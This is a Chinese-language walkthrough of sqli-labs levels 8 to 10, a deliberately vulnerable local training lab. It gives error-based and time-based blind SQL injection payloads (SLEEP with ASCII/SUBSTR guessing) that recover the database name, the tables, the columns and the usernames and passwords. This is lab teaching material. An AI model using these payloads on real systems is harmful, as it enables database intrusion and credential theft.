0%

sqli-labs靶场Less-8-10

Less8

经过简单的测试,发现'or 1=1--+返回结果正常,基本确定应该怎么注入了

image

这里查看源码可以看出,对sql报错进行了注释,那么采用报错注入就不行了

image

1
http://127.0.0.1/sqli-labs/Less-8/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user())),0x3a,0x3a,floor(rand(0)*2))a from information schema.columns group by a--+

image

如果报错注入可以使用的话是可以直接返回user()的,但是这里没有返回。

其他的payload参考less5直接进行注入即可

less9

本关从标题可以看到《基于时间-单引号》,所以很明显这关要利用延时注入进行,同时id参数进行的是’的处理。大概演示一次演示注入。使用sleep()函数

这里因为利用的是时间的延迟,贴图就没意义了,只写payload了:(正确的时候直接返回,不正确的时候等待5秒钟,只贴正确的)

猜测数据库

1
http://127.0.0.1/sqli-labs/Less-9/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

说明第一位是s(ascii码是115)

1
http://127.0.0.1/sqli-labs/Less-9/?id=1' and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第二位是e(ascii码是101)

……

以此类推,我们知道了数据库名字是security

猜测security的数据表

1
http://127.0.0.1/sqli-labs/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是 e,…依次类推,得到email

1
http://127.0.0.1/sqli-labs/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜测第二个数据表的第一位是 r,…依次类推,得到referers

……

再以此类推,我们可以得到所有的数据表emails,referers,uagents,users

猜测users表的列

1
http://127.0.0.1/sqli-labs/Less-9/?id=1 'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测users表的第一个列的第一个字符是 i,
以此类推,我们得到列名是id,username,password

猜测username的值

1
http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=67,1,sleep(5))--+

猜测username的第一行的第一位

以此类推,我们得到数据库username,password的所有内容

Less10

本关我们从标题就可以看到《基于时间-双引号》,所以很明显的这关要我们利用延时注入进行,同时id参数进行的是“的处理。和less9的区别就在于单引号(‘)变成了(“),我们这里给出一个 payload 示例,其他的请参考 less-9

猜测数据库

1
http://127.0.0.1/sqli-labs/Less-10/?id=1" and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

其余的示例请参考 less9